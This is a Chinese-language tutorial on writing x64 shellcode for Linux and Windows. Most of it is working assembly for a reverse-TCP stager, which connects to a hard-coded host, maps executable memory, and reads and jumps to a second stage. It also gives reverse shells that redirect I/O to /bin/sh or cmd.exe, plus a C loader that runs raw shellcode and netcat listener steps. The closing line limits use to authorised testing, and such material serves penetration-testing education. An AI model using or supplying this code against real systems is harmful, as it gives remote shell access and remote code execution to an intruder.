Linux Shellcode开发(Stager & Reverse Shell)
字数 1550 2025-08-29 22:41:10
Linux Shellcode开发(Stager & Reverse Shell) 详细教程
一、环境准备
1.1 工具安装
必要工具:
- Kali Linux系统
- VS Code(带以下插件):
- C/C++扩展(用于调试程序)
- MemoryView(查看内存情况)
- x86 and x86-64 Assembly(汇编语言支持)
- GDB调试工具(Kali默认安装)
- NASM汇编器(Kali默认安装)
安装验证命令:
gdb -version # 验证GDB安装
nasm -v # 验证NASM安装
1.2 运行配置
步骤:
- 创建工作目录并用VS Code打开
- 创建hello.asm文件(示例汇编代码)
- 配置tasks.json(构建任务配置)
- 配置launch.json(调试配置)
示例tasks.json内容:
{
"version": "2.0.0",
"tasks": [
{
"label": "build",
"type": "shell",
"command": "rm -f *.o && nasm -f elf64 -g -F dwarf ${file} -o ${fileDirname}/${fileBasenameNoExtension}.o && ld -o ${fileDirname}/${fileBasenameNoExtension} ${fileDirname}/${fileBasenameNoExtension}.o && rm -f ${fileDirname}/${fileBasenameNoExtension}.o",
"group": {
"kind": "build",
"isDefault": true
}
}
]
}
调试设置:
- 在VS Code设置中启用"Allow Breakpoints Everywhere"以在汇编文件中设置断点
二、Linux x64系统调用约定
2.1 调用规则
- 系统调用号保存在RAX寄存器中
- 前六个参数从左至右依次存放于:
- RDI, RSI, RDX, R10, R8, R9
- 剩余参数通过栈传递(从右至左顺序入栈)
重要注意事项:
- 使用
syscall指令会覆盖RCX寄存器 - 系统调用返回结果:
- 正数或零:表示成功
- 负数:表示错误(值为错误码)
2.2 常用系统调用号
参考syscall_64.tbl文件,部分重要调用:
- socket: 41
- connect: 42
- mmap: 9
- read: 0
- execve: 59
- dup2: 33
三、Stager Shellcode实现(反向TCP)
3.1 实现原理
- 调用socket创建套接字
- 调用connect连接攻击者机器
- 调用mmap分配可执行内存
- 调用read接收stage代码并执行
3.2 关键代码解析
socket调用:
push 41
pop rax ; 设置系统调用号41(socket)
xor rdi, rdi
inc rdi ; RDI=1 (AF_INET)
xor rsi, rsi
inc rsi ; RSI=1 (SOCK_STREAM)
xor rdx, rdx ; RDX=0 (protocol)
syscall
js failed ; 检查是否出错
connect调用:
mov r12, 0101A8C05C110002h ; 构造sockaddr_in结构
; 0101A8C0 = 192.168.1.1 (小端)
; 5C11 = 4444 (大端)
; 0002 = AF_INET
push r12
mov rsi, rsp ; RSI指向sockaddr_in
mov rdx, 16 ; RDX=16 (结构体大小)
mov rdi, rbx ; RBX保存socket句柄
push 42
pop rax ; 系统调用号42(connect)
syscall
mmap调用:
xor rdi, rdi ; addr=0 (由内核选择)
mov rsi, 0x2000 ; length=0x2000
mov rdx, 7 ; prot=PROT_READ|PROT_WRITE|PROT_EXEC
mov r10, 0x22 ; flags=MAP_PRIVATE|MAP_ANONYMOUS
xor r8, r8 ; fd=0
xor r9, r9 ; offset=0
push 9
pop rax ; 系统调用号9(mmap)
syscall
read调用:
pop rcx ; 清理栈
pop rdi ; 获取socket句柄
mov rsi, rax ; RSI=mmap返回的缓冲区地址
mov rdx, 0x2000 ; RDX=读取长度
xor rax, rax ; 系统调用号0(read)
syscall
jmp rsi ; 跳转到stage执行
四、Reverse Shell实现
4.1 实现原理
- 调用socket创建套接字
- 调用connect连接攻击者机器
- 调用dup2重定向标准I/O
- 调用execve执行/bin/sh
4.2 关键代码解析
dup2调用(重定向I/O):
mov rdi, rbx ; RBX保存socket句柄
xor rsi, rsi ; RSI=0 (stdin)
push 33
pop rax ; 系统调用号33(dup2)
syscall
mov rsi, 1 ; RSI=1 (stdout)
push 33
pop rax
syscall
mov rsi, 2 ; RSI=2 (stderr)
push 33
pop rax
syscall
execve调用(执行/bin/sh):
xor rax, rax
push rax ; 字符串结尾\0
mov rdi, '/bin/sh'
push rdi
mov rdi, rsp ; RDI指向"/bin/sh\0"
push rax ; argv[1]=NULL
push rdi ; argv[0]="/bin/sh"
mov rsi, rsp ; RSI指向argv
xor rdx, rdx ; RDX=NULL (envp)
push 59
pop rax ; 系统调用号59(execve)
syscall
五、Windows Reverse Shell实现
5.1 实现原理
- 初始化Winsock库
- 使用WSASocketA创建套接字
- 使用connect连接远程主机
- 创建STARTUPINFOA结构并重定向I/O
- 创建cmd进程
5.2 关键代码解析
STARTUPINFOA初始化:
sub rsp, 68h ; 分配结构体空间
mov rdi, rsp ; RDI指向结构体
xor rax, rax ; RAX=0
mov rcx, 68h ; RCX=结构体大小
rep stosb ; 清零结构体
; 设置关键字段
mov dword [rsp], 68h ; cb=结构体大小
mov dword [rsp+60], 0x101 ; dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW
mov [rsp+80], r15 ; hStdInput=socket
mov [rsp+88], r15 ; hStdOutput=socket
mov [rsp+96], r15 ; hStdError=socket
CreateProcessA调用:
sub rsp, 56 ; 分配空间并保持16字节对齐
xor rcx, rcx ; lpApplicationName=NULL
mov rdx, cmd_str ; lpCommandLine="cmd.exe"
xor r8, r8 ; lpProcessAttributes=NULL
xor r9, r9 ; lpThreadAttributes=NULL
mov qword [rsp+32], 1 ; bInheritHandles=TRUE
mov qword [rsp+40], 0 ; dwCreationFlags=0
mov qword [rsp+48], 0 ; lpEnvironment=NULL
mov qword [rsp+56], 0 ; lpCurrentDirectory=NULL
mov rax, rsp
add rax, 68h
mov [rsp+64], rax ; lpStartupInfo=STARTUPINFOA
mov qword [rsp+72], 0 ; lpProcessInformation=NULL
call CreateProcessA
六、测试方法
6.1 Linux测试
-
编译汇编代码:
nasm -f elf64 shellcode.asm -o shellcode.o ld shellcode.o -o shellcode.elf -
启动监听:
nc -lvnp 4444 -
运行shellcode:
./shellcode.elf
6.2 Windows测试
-
使用nasm编译:
nasm -f win64 shellcode.asm -o shellcode.bin -
使用C加载器:
#include <stdio.h> #include <windows.h> int main() { unsigned char shellcode[] = { /* shellcode字节 */ }; void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof shellcode); ((void(*)())exec)(); return 0; }
七、注意事项
- NULL字节问题:避免shellcode中出现NULL字节(\x00),可能被字符串函数截断
- 栈对齐:Windows x64调用API时必须保持16字节栈对齐
- 错误处理:重要系统调用后应检查返回值
- 大小端问题:网络字节序为大端,主机字节序为小端
- 调试技巧:使用GDB或VS Code调试器逐步执行并检查寄存器/内存状态
八、参考资料
- Linux系统调用表:
syscall_64.tbl - Metasploit源码:
stager_sock_reverse.s - Windows API文档:MSDN官方文档
- System V AMD64 ABI调用约定
通过本教程,您应该掌握了Linux和Windows下Stager和Reverse Shell的shellcode开发技术。实际应用中请确保遵守法律法规,仅用于授权测试。